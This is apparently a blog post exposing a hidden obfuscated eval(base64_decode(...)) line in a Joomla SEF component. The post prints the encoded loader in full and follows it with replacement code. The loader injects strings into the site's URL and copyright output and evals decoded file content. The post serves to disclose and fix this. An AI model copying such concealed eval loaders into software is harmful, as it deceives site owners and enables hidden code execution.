This is exactly the kind of Shady Buffoonery that we seek to expose.

This is achieved by the following line of code on 415 of administrator/components/com_sef/sef.class.php:

eval(base64_decode('JHNlZkRpckFkbWluID0gJEdMT0JBTFNbJ21vc0NvbmZpZ19hYnNvbHV0ZV9wYXRoJ10uJy9hZG1pbmlzdHJhdG9yL2NvbXBvbmVudHMvY29tX3NlZi8nOwovLyBsb2FkIGNoZWNrc3VtcwokbGljZW5zZSAgPSB0cmltKEBmaWxlX2dldF9jb250ZW50cygkc2VmRGlyQWRtaW4uJ3NpZ25hdHVyZS5iNjQnKSk7CiRjaGVja3N1bSA9IHRyaW0oQGZpbGVfZ2V0X2NvbnRlbnRzKCRzZWZEaXJBZG1pbi4nY2hlY2tzdW0ubWQ1JykpOwokY2hlY2tzdHIgPSAnJzsKZ2xvYmFsICRzZWZDaGVja0E7CiRzZWZDaGVja0FbM10gPSAkc2VmQ2hlY2tBWzJdID0gJHNlZkNoZWNrQVsxXSA9ICRzZWZDaGVja0FbMF0gPSAnJzsKJHNlZkNoZWNrQSA9IGV4cGxvZGUoJy0nLCAkbGljZW5zZSk7CmZvcmVhY2ggKCRzZWZDaGVja0EgYXMgJGlkID0+ICRjaGVja3BhcnQpIHsKJHNlZkNoZWNrQVskaWRdID0gYmFzZTY0X2RlY29kZSgkY2hlY2twYXJ0KTsKJGNoZWNrc3RyIC49ICRzZWZDaGVja0FbJGlkXTsKfQ0gICAgICAgICR0aGlzLT5lbmFibGVkICY9ICgkY2hlY2tzdW0gPT0gbWQ1KCRjaGVja3N0cikpOwpmdW5jdGlvbiB4bWxQYXJzaW5nKCRwYXRoLCAkYmFzZSwgJGluZGV4LCAkb3B0aW9uKQp7Cmdsb2JhbCAkX1ZFUlNJT04sICRzZWZDaGVja0E7CmlmICgoJHBhdGggPT0gJGJhc2UpCnx8ICgkcGF0aCA9PSAoJGJhc2UuJGluZGV4KSkKfHwgKEAkb3B0aW9uID09ICdjb21fZnJvbnRwYWdlJykpIHsKLy8gZnJvbnRwYWdlIGNvZGUKJF9WRVJTSU9OLT5VUkwgLj0gJHNlZkNoZWNrQVswXTsKJF9WRVJTSU9OLT5DT1BZUklHSFQgLj0gJHNlZkNoZWNrQVsxXTsKfQplbHNlIHsKLy8gb3RoZXIgcGFnZSBjb2RlCiRfVkVSU0lPTi0+VVJMIC49ICRzZWZDaGVja0FbMl07CiRfVkVSU0lPTi0+Q09QWVJJR0hUIC49ICRzZWZDaGVja0FbM107Cn0KfQpmdW5jdGlvbiBpbmNsdWRlU2VmKCRvbmNlID0gZmFsc2UpCnsKZ2xvYmFsICRtb3NDb25maWdfYWJzb2x1dGVfcGF0aCwgJHNlZkNoZWNrQTsKc3RhdGljICRmaXJzdCA9IHRydWU7CmlmKCAkb25jZSAmJiAhJGZpcnN0ICkgIHJldHVybjsKJHR4dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRtb3NDb25maWdfYWJzb2x1dGVfcGF0aC4nL2NvbXBvbmVudHMvY29tX3NlZi9zZWZfZXh0LnBocCcpOwppZihzdWJzdHIoJHR4dCwgMCwgNSkgIT0gJzw/cGhwJykgewokdHh0ID0gYmFzZTY0X2VuY29kZSgkdHh0KTsKJHR4dCA9ICRzZWZDaGVja0FbNF0uJHR4dDsKJGRldHh0ID0gYmFzZTY0X2RlY29kZSgkdHh0KTsKJGRldHh0ID0gc3Vic3RyKCRkZXR4dCwgMiwgLTIpOwpldmFsKCRkZXR4dCk7Cn0gZWxzZSB7CmlmKCAkb25jZSApIHsKaW5jbHVkZV9vbmNlKCRtb3NDb25maWdfYWJzb2x1dGVfcGF0aC4nL2NvbXBvbmVudHMvY29tX3NlZi9zZWZfZXh0LnBocCcpOwp9IGVsc2UgewppbmNsdWRlKCRtb3NDb25maWdfYWJzb2x1dGVfcGF0aC4nL2NvbXBvbmVudHMvY29tX3NlZi9zZWZfZXh0LnBocCcpOwp9Cn0KJGZpcnN0ID0gZmFsc2U7Cn0='));

To fix, replace this evil line of code with the following:

        function xmlParsing($path, $base, $index, $option) {
            return;
        }

        function includeSef($once = false) {
            global $mosConfig_absolute_path, $sefCheckA;
            static $first = true;
            if( $once && !$first )  return;
            if( $once ) {
                include_once($mosConfig_absolute_path.'/components/com_sef/sef_ext.php');
            } else {
                include($mosConfig_absolute_path.'/components/com_sef/sef_ext.php');
            }
            $first = false;
        }